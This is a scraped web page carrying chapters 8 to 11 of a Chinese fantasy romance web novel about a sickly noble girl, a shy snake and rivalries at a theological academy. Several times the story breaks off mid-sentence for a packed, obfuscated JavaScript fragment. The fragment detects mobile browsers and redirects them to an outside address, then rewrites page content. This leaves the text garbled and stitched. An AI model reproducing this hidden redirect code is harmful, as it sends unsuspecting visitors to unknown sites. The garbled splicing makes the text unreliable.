l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041611|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段时间的行踪找到一个合理的解释,只是路西恩没想到神子所说的理由,居然是因为他“欺压”了一位贵族小姐。 他的沉默被雷文当成了不满。这位出身于小贵族家庭的骑士长拍拍他的肩膀,宽慰他:“艾尔顿伯爵本来就受国王陛下器重,再加上他和王后的关系,教廷如果想要保下你,这件事就是送上门的把柄。放心吧,过段时间,等风头过去就好了。” “嗯,我明白。”路西恩说,“多谢。我的队员,拜托你了。” “光说谢谢可不够,你还得请我喝顿酒。”雷文忽然想起什么,“对了,有个盒子,我放你房间了。” 他对路西恩眨眨眼,满脸心知肚明的表情:“那一定是位十分迷人的夫人,居然能让冷漠的路西恩队长对她动心。” 雷文的不着调在教廷都算出了名,这样的调侃路西恩都遇到过无数次,他摇头否认,并不把他的胡言乱语放在心上。 可当他回到房间,看到摆放在桌上的那个木盒时,遗忘的记忆被突然唤醒,路西恩甚至在惊讶自己怎么会将这么重要的东西抛之脑后—— 木盒里装的,赫然是当初他从那位贵族小姐身上搜到的各类魔法首饰。 …… 莉迪娅已经忘记那些被收走的魔法道具了。 玛佩尔接手庄园的管理之后,立刻为莉迪娅重新置办了一屋子合身的衣裙和成套的饰品。没了噩梦的困扰和死亡的威胁,莉迪娅的生活重回平静。 入学测试的最终成绩对她而言并不重要,光是艾尔顿这个姓氏就已经为她占据了一个入学名额,更何况莉迪娅虽然身体孱弱,却拥有着十分罕见的光元素亲和力。不出意外的话,入学后莉迪娅会被分到神学院报道。 在她窥见的那本书里,主角团就是在神学院相聚,这里是所有故事开始的地方。 书里,艾尔顿家的小姐已经死在了入学测试上。她的死亡激化了教廷和王室的矛盾,而唯一的目击证人安古因斯,则成为了两方都在极力争夺的筹码。正是借由这个契机,安古因斯结识了代表教廷的骑士路西恩,和赫赫有名的大贵族之子赫尔曼·威斯夫特。 莉迪娅的哥哥,诺克提斯·艾尔顿,为了寻找妹妹的死因选择对安古因斯施压。后来又为了传说中只有教皇才掌控的“复活术”向教廷倒戈,可以说几乎得罪了主角团的每一个人。在最后的大战结束后,就再也没有人看到过他的身影。 莉迪娅泪眼汪汪地想,哥哥一定死在大战里了。她的哥哥只不过是一个柔弱的大魔法师,没有战士的保护,他该怎么在那么混乱可怕的战争里活下来啊! 为了她和哥哥,为了玛佩尔和女仆长,她一定会努力抱上主角团的大腿,带领全家人一起走向光明的未来! 明天就是正式开学的日子。 莉迪娅干劲满满躺在床上,在心里认真规划了好久才终于睡着。 这天晚上,她睡得不安稳,总觉得脸颊上冰凉凉的,偶尔还有一点点痒。这导致她今晚的睡眠质量大幅下降,天还没亮,她就迷迷糊糊醒了过来。 缕缕微风吹动着纱帘,透过纱帘飘动带出的间隙,莉迪娅看到窗外的天色还是昏暗的。她半眯半睁着眼睛想,昨晚忘记关窗户了吗? 还没完全清醒的脑子没办法进行更多回忆,她懒散地翻了个身打算再睡一会儿,侧头,就和一双橙黄色的竖瞳对上视线。 一人一蛇同时僵硬了。 8. 第 8 章 小蛇浑身僵直,只有尾巴尖勉强保持了一点点灵活。 它完全没想过会有被发现的可能。要知道它连续来了三天都没有惊动过任何人,而面前这个有着令蛇喜爱的气味的女孩在睡觉时毫无防备,哪怕蛇挨着她的脸颊,盘在她的颈窝里都不会吵醒她。 没想到蛇今晚只是稍微放纵自己晚点离开了一会儿会儿,就被人类女孩看个正着。 蛇有点紧张。 蛇非常紧张。 如果她大喊大叫,蛇就会立刻从窗户缝里逃出去。 黑暗中看上去分外显眼的橙黄色竖瞳紧紧盯着莉迪娅,看起来随时会对她发起攻击。 莉迪娅被吓得手脚冰凉,哪怕她看不清它的全貌,也能从这一对竖瞳判断出现在她面前的是一位捕猎者。 她连呼吸都放轻了,生怕惊扰到它。等眼睛适应了黑暗的环境,才模模糊糊看出了一点轮廓。 是一条细长的小蛇。 莉迪娅害怕蛇。虽然她从来没接触过蛇,但在她的认知中,蛇是一种黏黏糊糊的爬行动物,剧毒、冷血,总之是看到之后就要立刻远离的动物。 她的房间里怎么会突然出现一条蛇? 温暖的被窝都没办法带给她安全感了。莉迪娅尽量小幅度地向后仰了一下脖子,试图离它远一点。可她有一点动作,那条小蛇就像是弹簧一样跳了起来—— 整条蛇绷得笔直笔直,在半空扭过身子,重新落到富有弹性的枕头上时,已经用尾巴对着莉迪娅了。 然后,它的尾巴一扭,前半条身体还是笔直的,就这么别别扭扭的往窗户爬去。 原来蛇是这么胆小的一种生物吗? 莉迪娅狐疑地看着它,突然做出了一个她自己都没想到的动作。 趁小蛇还没爬远,她忽然伸出手摸了摸它那正在灵活摆动的蛇尾巴。 没有滑腻冰凉的触感,也许是因为这条蛇实在太小了,她甚至没忍住用指腹捏了捏那个小小的尾巴尖。 蛇再次全身僵硬地倒了下去。 这可把莉迪娅吓了一大跳,她捂着嘴低声惊呼,险些以为它受了什么伤,连忙凑近查看。 蛇倒在地上的姿势太奇怪了,从尾巴尖到一半的腰身弯成了好几个S型,但是蛇脑袋所在的另一半又笔直笔直,在黑暗中并不明显的尖尖脑袋已经完全丧失了思考能力。 察觉到自己被一双柔软温热的手触碰,甚至被她捧在手心里,蛇越发僵硬,连下意识吐出来的蛇信都不敢收回去了。 它感觉自己被翻来覆去的检查玩耍,被从敏感的尾巴尖一直摸到七寸,对方甚至点亮了床头的魔法灯,就着灯光轻轻捻了捻他吐在外面的分叉的舌尖。 虽然蛇喜欢这个人类女孩身上的味道,但被如此玩.弄,蛇还是感觉非常恼火。 而这个人类女孩不光摸遍了它的身体,居然还敢当面质疑它的实力! 她说:“你会咬人吗?小蛇,你是不是太冷了呀?” 蛇会咬人!蛇不光会咬人,还会吃人! 蛇忿忿不平张开嘴巴以示威胁。 可仗着它没有露出毒牙,这个看上去很容易就会被吓哭的人类女孩居然就这样将一根手指头塞进了它的嘴里! 太松懈了! 莉迪娅也不明白为什么她会如此确信这条小蛇不会伤害自己,要知道她最害怕的就是这种软趴趴冰冰凉的爬行动物。 也许是因为这条蛇看上去太小,显得他的一举一动都很可爱了吧? 莉迪娅将小蛇捧到魔法灯旁,仔细看了看它身上的花纹。 小蛇的上半身是墨绿色,从尾端三分之一的位置开始渐渐变成了黑色,虽然它的尾巴尖很小很可爱,但莉迪娅莫名有点抵触这种黑色。 她将视线转移到小蛇的脑袋上,就着灯光再看它,小小圆圆的脑袋上顶着的两只圆溜溜的眼睛其实也小的可怜。 那个黑暗中将莉迪娅吓了一跳的竖瞳,这时候看上去也毫无攻击力,甚至显得有一点纯良无害。 莉迪娅没忍住,又撸了一把小蛇脑袋。 被反复抚摸的蛇看上去生无可恋,它收回蛇信,在莉迪娅手心一圈圈盘成了一小坨。小蛇脑袋背对着莉迪娅扎进了自己盘出来的圆圈中心。 “你还好吗?” 莉迪娅生怕它把自己闷坏,揪揪它的尾巴尖,反倒被它轻轻拍了一下。 像一个闹脾气的小朋友。 莉迪娅眯着眼睛偷偷笑了一会儿,捧着小蛇走到了阳台。 “去吧,去吧。” 她轻手轻脚将小蛇放到地上。 虽然浑身都摆出了抗拒的姿态,但当女孩真的放开它的时候,蛇一整条震惊住了。 吃!抹!干!净!不!认!账! 七个黑色加粗的大字,一个一个蹦进脑子里。 它愤怒地抬头嘶嘶,却被当成在对她撒娇。 “好蛇蛇,你舍不得走吗?”莉迪娅惊喜地蹲下来,“你想留下来吗?” 留……蛇浑身一颤,赶在身体的下意识反馈前回归了一点神志。 在莉迪娅遗憾的眼神里,这条冷酷又高傲的小蛇一甩尾巴,转过头扭着身子爬走了。 它轻车熟路地从三楼的阳台翻下去,窸窸窣窣,很快顺着花园里不知名的小路离开。 此刻,天已经蒙蒙亮了。 莉迪娅站在阳台上满是遗憾地眺望了一会儿,才回房间换衣服做准备。 今天是正式开学的日子。 哪怕不考虑原著剧情,莉迪娅也十分紧张,她从来没有经历过集体生活,即将进入一个全新环境这件事对她而言是全然的未知与迷茫。 开学第一天,对所有学生而言都是一个大日子。显然诺克提斯也是这样认为,常年忙到看不见人影的人,今天破天荒穿着丝绸睡袍坐在餐桌前看报纸,看到莉迪娅换好衣服下来还愣了一下。 “昨晚没休息好。”他皱眉,语气满是不赞同,“还有哪里不习惯?” 大部分时候哥哥都非常尊重她的意愿,唯有在关乎身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041612|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体健康的时候会格外严厉。 莉迪娅心虚眨眼:“有点紧张……只是一点,昨天晚上睡的很早,所以醒的也早。” 诺克提斯抿起嘴角,看上去对这个回答并不满意:“如果觉得累,可以不去。” 换做不熟悉他的人,很容易将诺克提斯的话当做警告,不允许从小养在乡下的病弱的妹妹在外丢了艾尔顿家的脸面。 但莉迪娅从小就熟练掌握与兄长沟通的方法,知道他只是在关心自己,闻言坐在离他最近的位置,用膝盖轻轻碰了碰他那被绸缎包裹的小腿:“没关系的,谢谢哥哥。” 诺克提斯这才将目光从她脸上转移到手中的报纸上,语气平淡:“稍后我送你去学校。” 信赖的兄长能送她上学,莉迪娅眼睛都亮了,直到坐上马车,她仍兴致勃勃,珍惜这为数不多能与哥哥相处的时间。 徐徐前行的马车在莉迪娅不舍的心情中缓缓停下,她看了诺克提斯胸前那些繁琐复杂的装饰,知道他今天大概率又要去参加宴会,只能在分别前拽了拽兄长的手指。 “哥哥也要注意休息。” 兄妹俩相似的绿眼睛水汪汪地望过来,他的幼妹身上散发着与整个家族都截然不同的温暖,诺克提斯的小指微不可及向上抬了一下,喉结微动。 “嗯。” 从马车上下来,莉迪娅抬头望着华丽又陌生的大门,几乎是一步三回头走了进去。 直到彻底看不见幼妹的背影,高贵的艾尔顿伯爵才面无表情收回目光,在其他贵族们蠢蠢欲动的眼神中冷漠离开。 两辆豪华程度相差无几的马车擦肩而过,诺克提斯闭目养神,丝毫没有停下来寒暄的意思。他还有很多公务要处理,没有那么多精力去关注那些连家族中心权利都不曾触碰到的“继承人”。 圣罗帝亚的校门口,印有蓝底银十字纹样的马车停在正中间,周围的窃窃私语安静了一瞬,又再次响起。 “是威斯夫特大人吗?是公爵大人!” “我竟然能和公爵继承人成为同学,天,我要告诉我爸爸!” “赫尔曼少爷肯定会去神学院,看来今年的首席人选已经有了。” “嘘,别太快下定论,别忘了还有……” 太吵了。 马车里,赫尔曼·威斯夫特眉头微皱,显然很不耐烦应对现在的情况。 作为威斯夫特公爵的唯一继承人,赫尔曼从小就要面对周围人的各种讨好追捧,在老牌贵族家族的严苛教导下,他并没有沉溺在这些吹捧中,反倒走上了另一个极端。 傲慢,冷漠,目中无人。 绝对理性,绝对利益,绝对纯血。 银发蓝眸的纯血贵族在万众瞩目中出场,冰冷的天蓝色的眼睛扫过人群,嘈杂声立刻小了下去,没有人敢顶着这样的目光说话,一个接一个,学生们恭敬地垂下头颅。 威斯夫特继承人心情不佳,没有人会不长眼在这个时候上前招呼—— “呦,赫尔曼,总算等到你了!” 9. 第 9 章 兰登·巴克利,从小和赫尔曼一起长大的伯爵之子,其家族也是威斯夫特家族最忠实的附庸。 从地位上来说,背靠威斯夫特的巴克利家族也算是老牌贵族,这一代的小巴克利又恰好和小威斯夫特关系亲近,无形中使巴克利家这些年的地位水涨船高。 棕发少年看上去开朗极了,哪怕面对赫尔曼的冷脸也依旧极其自然地将手臂搭在他肩头:“猜我来的时候看到了谁?” 不等赫尔曼说话,兰登自顾自道:“我看到了艾尔顿家的马车,说起来,艾尔顿家的小小姐是不是也该回王城上学了。” 赫尔曼知道他想说什么,瞥他一眼,冷声道:“无聊。” “你难道不好奇吗?”兰登故作夸张,“消失了十年的未婚妻终于回归,被作废的一纸婚约能否得到认可,性情大变的未婚夫……” 即将脱口而出的话被紧急咽回去,兰登知道自己一时失言,干咳一声,赶在赫尔曼生气前转移话题。 “哈哈,说起来这一届熟人好多,哈哈,看前面的是不是卡德蒙?” 伊芙·卡德蒙,公爵之女,地位和赫尔曼不相上下,几人年龄相仿,自然也打过许多照面。更何况对方有一头卡德蒙家特有的浅灰色长发,遥遥一个背影就能认出她的身份。 只是在看清伊芙身边站的少女的样貌后,兰登一个后撤,恨不得立刻离赫尔曼远远的。 错不了,金发碧眼,五官和艾尔顿伯爵有七分相像。错不了,那位就是赫尔曼的未婚……前未婚妻,最近刚回王城的莉迪娅·艾尔顿。 身旁的赫尔曼已经开始散发冷气了。 “咳,最近和卡德蒙家不用走太近,不如我们绕——” 没等兰登说出一个合理的借口,赫尔曼已经率先迈开脚步往正在交谈的两个女孩的方向走去。 伊芙正在和莉迪娅聊小时候的事情。 莉迪娅离开王城的时候不到六岁,虽然记忆有些模糊,但她依稀记得小时候有段时间,有一个浅灰色头发的姐姐经常和她作伴。 因此,在伊芙主动上来搭话的时候,莉迪娅几乎是毫无防备地同她亲近起来。 “这么多年过去,莉迪娅还是和小时候一样可爱。” 浅灰色长发被扎成单边低马尾,柔顺地垂在身侧,伊芙笑眯眯盯着莉迪娅的头顶看了几秒,对上她澄澈的双眼,露出一个更加温柔的笑脸。 莉迪娅迷迷糊糊被伊芙带着聊天,没几句话就将自己回到王城这几天的经历交代得七七八八:“嗯……入学测试的时候出了一点意外……早上是兄长送我来的……” 说到一半,伊芙突然收敛笑意,侧身一步,有意无意将莉迪娅挡在身后,冲来人勾起唇角,不咸不淡道:“贵安,威斯夫特。” 银发蓝眸的贵族少年冷淡回应:“卡德蒙。” 和温柔的伊芙相比,这位银发少年看起来很不好相处。莉迪娅本来就不擅长应对这种社交场合,见状更是将自己往伊芙身后藏了藏,根本不敢抬头,只礼节性地提了提裙摆。 看起来就是一副抗拒的姿态。 不知道为什么,莉迪娅总感觉周围的空气忽然凝固了,她低头盯着面前的几条大长腿,脑子里却在思考刚才听到的称呼。 威斯夫特? 是她记忆中的那个威斯夫特吗? 可是伊芙对他好冷淡的样子……如果是她认识的那个威斯夫特,和伊芙的关系应该很好才对。 更何况……虽然已经想不起来威斯夫特的模样了,但是在莉迪娅的印象中是个很体贴的小哥哥,会主动照顾年幼胆小的她,和面前这个冷漠的少年简直天差地别。 和几人相比明显要矮上一点的女孩垂首不语,谁也没办法观察到她的表情,只知道她没有进一步交谈的意思。 赫尔曼周身的气压更低了一层,只停顿了片刻便抬脚离开。 兰登简单地和伊芙打过招呼,见状也只好跟着快步离开。 这两人的出现突兀又强势,离开的时候也我行我素,让人摸不着头脑,只觉得一点都不好相处。 莉迪娅悄悄观察那两人的背影,回头对上伊芙带着笑意的目光,顿时窘迫起来,带着被抓包的羞窘结结巴巴问:“伊芙,他、他们是……” 伊芙漫不经心说:“威斯夫特和巴克利,不用在意他们。” “威斯夫特,小时候我们是不是一起……”莉迪娅犹犹豫豫,“你们好像不太熟悉……” “嗯?小时候……好像是碰到过几次,”伊芙说,“那家伙从小就喜欢板着死人脸,我们都不喜欢他,莉迪娅不记得了吗?” 是、是吗? 莉迪娅迷迷糊糊顺着伊芙的话开始回忆,却发现怎么也没办法想起更多小时候在王城里生活的细节。 “想不起来就不要想了,说明不是什么重要的家伙。” 可如果他就是她认识的那个威斯夫特的话——莉迪娅欲哭无泪,她该怎么抱到这个冷漠到目中无人的威斯夫特的大腿啊? 莉迪娅的心情低落下来。 她实在不是一个合格的贵族,所有的情绪都明明白白写在脸上,简单到一眼就能看透。 这样的莉迪娅坐在神学院的教室里,就像是掉进狼窝的幼犬,虽然大家都有着相似的犬牙,可同一窝狼崽子们已经学会用锋利的犬刃互相撕咬搏斗,她却只会竖起两只一看就软趴趴的耳朵,将无辜的狗狗眼睁得溜圆。 看起来真的很好骗啊。 不少贵族学生心中都闪过这样一个念头。 因为伊芙的存在,暂时还没有人主动来找莉迪娅聊天,但神学院的学生或多或少都在评估这位突然出现的艾尔顿小姐的实力。 要知道这几年,王室和教廷的关系越来越紧张,原本中立摇摆的贵族在这种紧张局势下也不得不做出最终的选择。其中,从来都是教廷一派的艾尔顿家族在现任伯爵的带领下彻彻底底倒向王室不说,这几年,诺克提斯·艾尔顿更是深受国王陛下器重,其地位甚至隐隐能和两位公爵大人平起平坐。 这几个月,更有传言说国王陛下打算授予诺克提斯一个公爵的爵位。 诺克提斯没有子嗣,如果将来他真的被授予公爵爵位,那么他的亲妹妹莉迪娅·艾尔顿,就会成为公爵爵位的第一继承人。 不管公爵爵位到底会不会落到艾尔顿家手上,不管诺克提斯未来会不会有自己的子嗣,总之,现在对王城的贵族们来说,出现在王城的莉迪娅无疑是一个绝佳的切入点。 无论如何,先和她交好总是没错的。 只是没料到卡德蒙大人居然也会对她产生兴趣。 看着带着温柔笑意坐在莉迪娅身边的伊芙·卡德蒙,学生们暗中交换眼神,暂时按下了心中的蠢蠢欲动。 莉迪娅完全不知道教室里的暗潮涌动。她的绝大部分注意力都放在了坐在教室正中央的赫尔曼身上。 神学院的教学楼是学校里唯一一座高塔,理论上来说,这里应当汇集全大陆所有的天才。 但现在,这里是王城权贵子嗣的聚集地,大部分都是家世显赫的贵族,只有少量名额留给下层平民争夺。 在这种情况下,单从教室的座位分布就可以看出学生地位的高低。 这一届神学院的权利中心集中在赫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041613|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔曼和伊芙身上。理所当然的,两人占据了教室正中央视野最好的位置。 莉迪娅则坐在了伊芙后面。这个座位可以轻松看到侧前方的赫尔曼,她规规矩矩坐在座位上,盯着赫尔曼身侧垂落衣摆的褶皱发呆。 定定地看了一会儿后,少女似乎下定了某种决心,慢吞吞收回目光,开始在翻开的空白书页上写写画画。 在神学院的第一天,平淡度过。 莉迪娅决定好好研究一下之后的安排。 在她原本的计划里,成功活过入学测试之后的第一步就是和赫尔曼接触,凭借两人小时候的一点点情分先和他混个脸熟。 在这个阶段,安古因斯还没来到神学院,莉迪娅想不出合理的途径认识他。路西恩身处教廷,更不是她可以随意接近的人。至于最后一个人……老实说,莉迪娅只听说过他的一些传闻,但是从未见过那位身份特殊的王子殿下。 不管怎么看,现在最适合接触的人选都是和她在同一所教室里的赫尔曼。 在开学一个星期过后,莉迪娅终于等到了一个四下无人的时机,能和赫尔曼单独相处。 严格来说,是她被赫尔曼堵在了教室里。 教室坐落在高塔上,午后的阳光直愣愣冲破窗户,将半边教室映得明亮灿烂。 然而再明媚的阳光都没办法冲破银发少年周身的结界,光堪堪落在他的脚边,莉迪娅的脚步一顿,还没来得及想好措辞,那双冰蓝色的眼睛已经看向了她。 “我、我来拿点东西,”她没料到会在这个时候和赫尔曼单独相处,迎着他冰冷的仿佛什么都不放在心上的眼神,小声解释,“不是故意打扰你……” 这几天的观察已经让莉迪娅初步了解了赫尔曼的性格。和记忆中完全不一样,面前的赫尔曼傲慢冷漠,目中无人。整个神学院,除了地位和他相当的伊芙外,就没有人能得到他的正眼相待。 哪怕是和他一起长大的兰登,在他眼中都只是一个跟班而已。 莉迪娅心有戚戚,更加不敢贸然和赫尔曼打招呼。没想到这么不巧,突然就和他独处一室。 她的座位离赫尔曼很近,平时很方便她偷看,可现在迎上他的目光,莉迪娅只觉得前进的步伐越来越沉重,甚至已经想要转身逃跑了。 好在赫尔曼对她的出现并不在意,那道冰冷的视线只在她身上停留了几秒,很快就回到了手中的书本上。 莉迪娅小心谨慎,尽量不发出声响拿到了东西,余光瞥见对方的衣角,又有点舍不得放弃这个机会。 他看起来好像心情还可以,刚才都没有直接把她赶出去。 错过这一回,下次和赫尔曼搭话的机会又要等到什么时候? 莉迪娅磨磨蹭蹭,胡思乱想了许久,气息都随着飘忽的思绪紊乱了,终于下定决心,深呼吸一口气。 “看够了么。” 好不容易鼓起的勇气被突然戳破,瞬间泄得一塌糊涂。 莉迪娅茫然地瞪大眼睛:“什……” 冰蓝色的眼睛又将她禁锢住了。 赫尔曼皱眉,语气听起来都充满了不耐烦:“艾尔顿小姐,看够了没。” “我、我没有看你……”莉迪娅支支吾吾,不知道作何解释,更不敢将自己的那点小心思说出口了。 她拙劣的伪装显然让赫尔曼更加厌恶,他站起身,鞋底与地板碰撞发出清脆声响,让莉迪娅的心跳都跟着漏了一拍。 已经从纤细少年向高大的青年形态转变的赫尔曼,背光站起时的阴影可以将莉迪娅全部笼罩,低沉的嗓音在她头顶响起,带着轻蔑与不屑:“满口谎话。” 10. 第 10 章 讨厌的威斯夫特! 委屈立刻涌上莉迪娅心头。 她从小到大都没有受到过如此严重的指责! 没有任何理由,没有任何先兆,她什么都没来得及做,威斯夫特就一副咄咄逼人的态度逼迫她承认自己的错误。 可她明明什么都没来得及做!她甚至只是想和他打好关系而已! 连古板不知变通的路西恩圣骑士长都比他好上千倍万倍! 在这一刻,威斯夫特在莉迪娅心中的地位直线下滑,直接掉到了连面都没有见过的神秘王子后面。 她宁可现在去找安古因斯没话找话!也不要留在这里讨好威斯夫特了! 莉迪娅气势汹汹在心底一阵怒骂,揪着衣摆的手越攥越紧,可实际说话时却已经带上了哭腔:“我才没有说谎,你、你……” 不会吵架的女孩涨红了脸,在比自己高大许多的异性施加的压力下,狼狈地连连后退好几步,拉开一个她认为足够安全的距离过后才敢抬头,与威斯夫特的眼神一触即分,最后强撑着落在他的薄唇上:“请注意你的态度,威斯夫特。” 考虑到他的身份,莉迪娅又不甘不愿地加上后缀:“先生。” 尾音堪堪落下,她火急火燎走出教室,仿佛再在这儿多留一会儿都是一种折磨。 将莫名其妙污蔑她的威斯夫特丢在教室里,莉迪娅抱着自己“冒死”从“恶棍”眼皮子底下拿出来的镶嵌了光系魔法石的项链,红着眼往实战场地的方向快步走。 下午学校安排了实战演练课程,据说邀请到了教廷的圣骑士长和高级牧师来教导他们,机会难得,不论是神学院还是其他普通学生们都在指定的场地集合。 莉迪娅走到一半才想起来自己把魔法石忘在了教室里,以她现在的实力,不借助魔法石只能勉强施展三次小治愈术。能被高级牧师指点的机会太难得,莉迪娅不想错过,这才赶回教室拿东西。 没想到会碰到独自留在教室里的威斯夫特。 她后知后觉想起一个问题,为什么威斯夫特不参加实战演练? 没等她思考出个结论,人已经走到了演练场地。场地上站着泾渭分明的两拨人,人数更多的那边大多衣着华丽,三三两两聚在一起说笑;另一边学生更加沉默,神色也带着些许不安。 莉迪娅抬脚就想往人少的那边走,走了几步发现不对,在神学院另一个学生艾米丽的招呼下调转方向。 “艾米丽。”她被迎进女孩子们的小圈子,“怎么这么多人呀?” 艾米丽慈爱地摸摸她的脸颊:“哦可爱的莉迪娅,不是什么人都有资格进入圣罗帝亚的。那边那些,不过是一些好命的平民罢了。” 不是所有贵族都有资格进入神学院,但是几乎所有贵族都会进入圣罗帝亚学校,这里天然存在着经由权力划分的等级制度,那些在平民中天赋出众的人,在这里却只能沦为最底端。 在小镇疗养的时候,莉迪娅和小镇居民们的关系很好,她从来不会仗着贵族身份压迫别人,却也知道仅凭自己无力改变现状。 她只能一言不发,趁这个机会偷偷在人群中寻找安古因斯。 依照对方那长及腰间的柔顺黑发,哪怕混在人群中也应当很瞩目才对,毕竟在这个大陆,黑发才是极其罕见的发色。 然而莉迪娅看了一圈又一圈,却始终没能看到安古因斯的身影。 也许是找人的动作太过明显,引起了伊芙的注意:“莉迪娅在找谁?” 莉迪娅犹豫了一下:“还记得我说过在入学测试上遇到的意外吗?当时,有个平民帮了我……” 她存了一点私心,想要借这个机会在大家面前帮安古因斯刷一波好感度,毕竟按照原本的轨迹,一个月后安古因斯就会顺利通过试炼加入到神学院——然后被神学院的贵族们百般针对。 倒不完全是因为对方那象征不祥的黑色头发,有资格通过试炼的有五个人,其中一个是小贵族后代,在进入神学院后就顺利成为了其他人的附庸。剩下的四个平民学生都被贵族们打压过。 在这四人中,又只有安古因斯一个人始终不肯向贵族低头,使得针对他的打压愈演愈烈,直到最后他得到了赫尔曼的认可,贵族才停止对他的施压。 莉迪娅想帮助安古因斯,所以她在描述中稍稍做了一点改变,在众人面前将安古因斯描述成帮助过自己的好心人。希望大家看在她的面子上,以后不会刻意针对他。 果然,在她详细描述了安古因斯的特征后,周围人都露出了若有所思的神情。 伊芙问:“这届特招生中有这号人吗?怎么从来没听说过。” 艾米丽说:“放心吧莉迪娅,我会替你留意的。” 围在她们身边的小贵族学生说:“卡德蒙大人有所不知,那个特招生其实还挺出名,都说他是,‘被魔物诅咒的家伙。” 伊芙挑眉:“是么,这么出名?我居然不知道。” 她明明已经派人考察过一遍值得关注的家伙,可是报给她的名单里却从未见过安古因斯这个人。 要么他是个有点天赋但不多的蠢材,要么……她的人藏了别的小心思。 莉迪娅提起安古因斯的本意是希望在未来大家能友善对待他,但作为公爵继承人的伊芙已经在心底想好了一连串考察安古因斯的计划。 但这些都不必告诉莉迪娅。她和她们不一样,如果说从最开始伊芙的想法是赶在赫尔曼之前笼络莉迪娅,经过这段时间的相处,她是真的打算将莉迪娅彻底纳入自己的保护圈中。 谁能拒绝一个会用崇拜与信赖的眼神注视着自己的美丽少女呢? 反正伊芙不能。 所以出现在莉迪娅身边的每一个人,都必须经过她的考察。 莉迪娅终于在人群边缘找到了安古因斯。 他看起来状态很差,浑身上下都充满了与周围格格不入的忧郁气息,身形纤瘦柔弱,连初次见面时那头柔顺光亮的黑色长发都黯淡不少,活脱脱一个生活困苦还被众人排挤的小可怜形象。 莉迪娅立刻对他充满了同情。 她已经将初次见面时对方身上一瞬间浓郁到溢出来的杀意抛之脑后,现在满心想的都是如何帮他摆脱被排挤的窘境。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041614|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顺着少女直勾勾的目光,伊芙也看到了那个阴郁可怖的少年。 是的,即便他有一副无论从什么角度来看都可以被夸作精致的五官,但看到他的第一眼,伊芙对他的印象就只剩下“阴暗”二字。 像是生活在王城最破败的平民窟里的老鼠,只配待在角落,和周围沐浴在阳光下的人群格格不入。 这种人真的会主动帮助别人吗? 伊芙拉住蠢蠢欲动准备走过去示好的莉迪娅,看到金发女孩睁着她那双澄澈透明的碧绿色眼睛望过来,又飞速在心里说服了自己。 如果帮助的是莉迪娅的话,倒也正常。 但是她已经将莉迪娅带进上层贵族的社交圈,莉迪娅不在意那些繁琐无用的礼节,她却不会让她在这种小事上被人看轻。 伊芙温声说:“人太多了,我让人把他带过来,好吗。” 旁边有个学生立刻应声,抢在其他人前面向安古因斯走去。 在圣罗帝亚,所有平民学生都被称为特招生。他们在圣罗帝亚学习魔法、剑术,期盼在某天能得到贵族的青睐,能够成为某位贵族的附庸。 对特招生来说,最好的选择就是得到神学院贵族们的青睐,这几乎是整个王国最有权势的一批人。所以每一届通过试炼进入神学院的名额都炙手可热。 安古因斯是这届特招生中无可厚非的第一名。 这一次,他完整的参加了整场入学测试,没有遭遇意外,没有被当成可疑人员中途带走,凭借他出色的魔法天赋和精湛的战斗技巧,毫无疑问,他顺利拿到了一个靠前的名词,更是在特招生中遥遥领先。 不出意外的话,他几乎已经锁定了一个进入神学院的名额。 太过瞩目只有两种结果,要么得到敬佩,要么被众人排挤。安古因斯选择后者。 他不打算和任何人产生关联,也完全不想和这群人好好相处。对他来说,和无关紧要的人打交道是最浪费时间的事情。 他们迟早都会死的。 大陆被魔气侵袭了六次,他失败了六次,也见证了六次世界毁灭。 曾经的安古因斯认为自己是能够拯救世界的勇者,带着少年满满的热忱踏上寻找光明权柄的道路,认为只要和同伴们齐心协力,他们一定能顺利将光明权柄带回王城。 他们总在功亏一篑。 第一次重生,安古因斯欣喜若狂,认为这是神明给他的恩赐,他遵循神明的指引,纠正了上一世的失误,却意外引发了另一个更大的错误。带着不可置信与懊悔,他迎来了第二次重生。 然而每一次,每一世。他们都失败了。每一世的境遇相似又不完全相同,热血在一次次重生中冷却,他徒劳地看着同伴们一次次赴死,自己也在一次又一次重生中加重了无法解除的诅咒。 他累了。 第七次重生,安古因斯平躺在破败的房子里,在巨大的痛苦中变成了一条半人半蛇的怪物。他平静地看着下半身那条墨绿色的蛇尾,没有再做任何挣扎。 但这一世,那个女孩活下来了。 莉迪娅·艾尔顿。 11. 第 11 章 安古因斯从未成功救下过她。 